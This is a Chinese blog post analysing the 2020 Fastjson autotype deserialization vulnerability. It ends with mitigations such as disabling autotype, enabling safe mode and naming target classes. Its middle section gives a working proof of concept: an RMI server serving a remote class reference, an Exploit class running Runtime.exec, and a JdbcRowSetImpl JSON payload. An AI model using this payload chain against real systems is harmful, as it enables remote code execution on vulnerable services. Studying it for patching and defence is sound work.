前言
前段时间FastJson被曝高危漏洞,其实之前也被报过类似的漏洞,只是项目中没有使用,所以一直也没怎么关注;这一次刚好有项目用到FastJson,打算对其做一个分析。
漏洞背景
❝
2020年05月28日, 360CERT监测发现业内安全厂商发布了Fastjson远程代码执行漏洞的风险通告,漏洞等级:高危。Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson存在远程代码执行漏洞,autotype开关的限制可以被绕过,链式的反序列化攻击者精心构造反序列化利用链,最终达成远程命令执行的后果。此漏洞本身无法绕过Fastjson的黑名单限制,需要配合不在黑名单中的反序列化利用链才能完成完整的漏洞利用。
❞
漏洞的根本原因还是Fastjson的autotype功能,此功能可以反序列化的时候人为指定精心设计的类,达成远程命令执行;
AutoType功能
问题描述
我们在使用各种Json序列化工具的时候,其实在序列化之后很多情况是没有包含任何类信息的,比如这样:
{"fruit":{"name":"apple"},"mode":"online"}
我们在使用的时候,也只需要一般有两种方式:直接转为一个JSONObject,然后通过key值取对应的数据;另外一种就是指定需要转换的对象:
public static <T> T parseObject(String text, Class<T> clazz)
这样可以直接拿到我需要的类对象,很是方便;但是很多业务中会有多态的需求,比如像下面这样:
//水果接口类
public interface Fruit {
}
//通过指定的方式购买水果
public class Buy {
private String mode;
private Fruit fruit;
}
//具体的水果类--苹果
public class Apple implements Fruit {
private String name;
}
这种情况下,如果只是序列化为没有类信息的json字符串,那么其中的Fruit就无法识别具体的类:
String jsonString = "{"fruit":{"name":"apple"},"mode":"online"}";
Buy newBuy = JSON.parseObject(jsonString, Buy.class);
Apple newApple = (Apple) newBuy.getFruit();
这种情况下直接强转直接报ClassCastException异常;
AutoType引入
为此FastJson引入了autotype功能,使用也很简单:
Apple apple = new Apple();
apple.setName("apple");
Buy buy = new Buy("online", apple);
String jsonString2 = JSON.toJSONString(buy, SerializerFeature.WriteClassName);
在序列化的时候指定SerializerFeature.WriteClassName即可,这样序列化之后的json字符串如下所示:
{"@type":"com.fastjson.Buy","fruit":{"@type":"com.fastjson.impl.Apple","name":"apple"},"mode":"online"}
可以看到在json字符串中包含了类信息,这样在反序列化的时候就可以转成具体的实现类;但是就是因为在json字符串中包含了类信息,给了黑客攻击的可能;
现在的版本FastJson做了大量的防御手段包括黑名单,白名单等,为了模拟方便,了解问题,我们这边使用FastJson比较早的版本:1.2.24;
在模拟之前我们需要了解一下获取到类信息之后是如何把属性设置到类对象中的,它是通过setXxx()来给类对象设值的;一个常见的攻击类是:com.sun.rowset.JdbcRowSetImpl,此类的dataSourceName支持传入一个rmi的源,然后可以设置autocommit自动连接,执行rmi中的方法;这里首选需要准备一个RMI类:
public class RMIServer {
public static void main(String argv[]) {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
registry.bind("Exploit", new ReferenceWrapper(reference));
}
}
这里的Reference指定了类名,已经远程地址,可以从远程服务器上加载class文件来实例化;准备好Exploit类,编译成class文件,然后把他放在本地的http服务器中即可;
public class Exploit {
public Exploit() {
Runtime.getRuntime().exec("calc");
}
}
准备好这些之后,下面就需要模拟Json字符串了:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
fastjson在反序化的时候,先执行setDataSourceName方法,然后setAutoCommit的时候会自动连接设置的dataSourceName属性,最终获取到Exploit类执行其中的相关操作,以上的程序会在本地调起计算器;注:以上起作用只会在我们使用没有指定具体类情况下:
JSON.parseObject(jsonString);
JSON.parse(jsonString);
如果指定了具体的类,会直接报类型错误:
com.alibaba.fastjson.JSONException: type not match
如何避免
不使用autotype
如果你没有使用多态的需求,没必要使用autotype,没必要使用SerializerFeature.WriteClassName特性,直接关闭autotype功能;或者开启安全模式;
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
ParserConfig.getGlobalInstance().setSafeMode(true);
指定具体类
在反序列化的时候,我们尽量指定具体类:这样在反序列化的时候,其实是会和你指定的类型对比的,看是否匹配;
public static <T> T parseObject(String text, Class<T> clazz)
总结
这种攻击方式,其实和SQL注入攻击挺像的,我们的程序指定了一个入口,对输入的数据没有限制,或者说没有足够的限制;
而程序在拿到数据之后也没有足够的校验,或者说提供了无需校验就能被加载执行的途径,比如FastJosn里面的JSON.parse(jsonstr)方式,无需一个明确的对应类;SQL直接进行拼接等;
最后想说的是一个工具只有被用的越多才会越能发现里面的问题,这样才能使我们的工具更加成熟,Fastjson会越来越强大。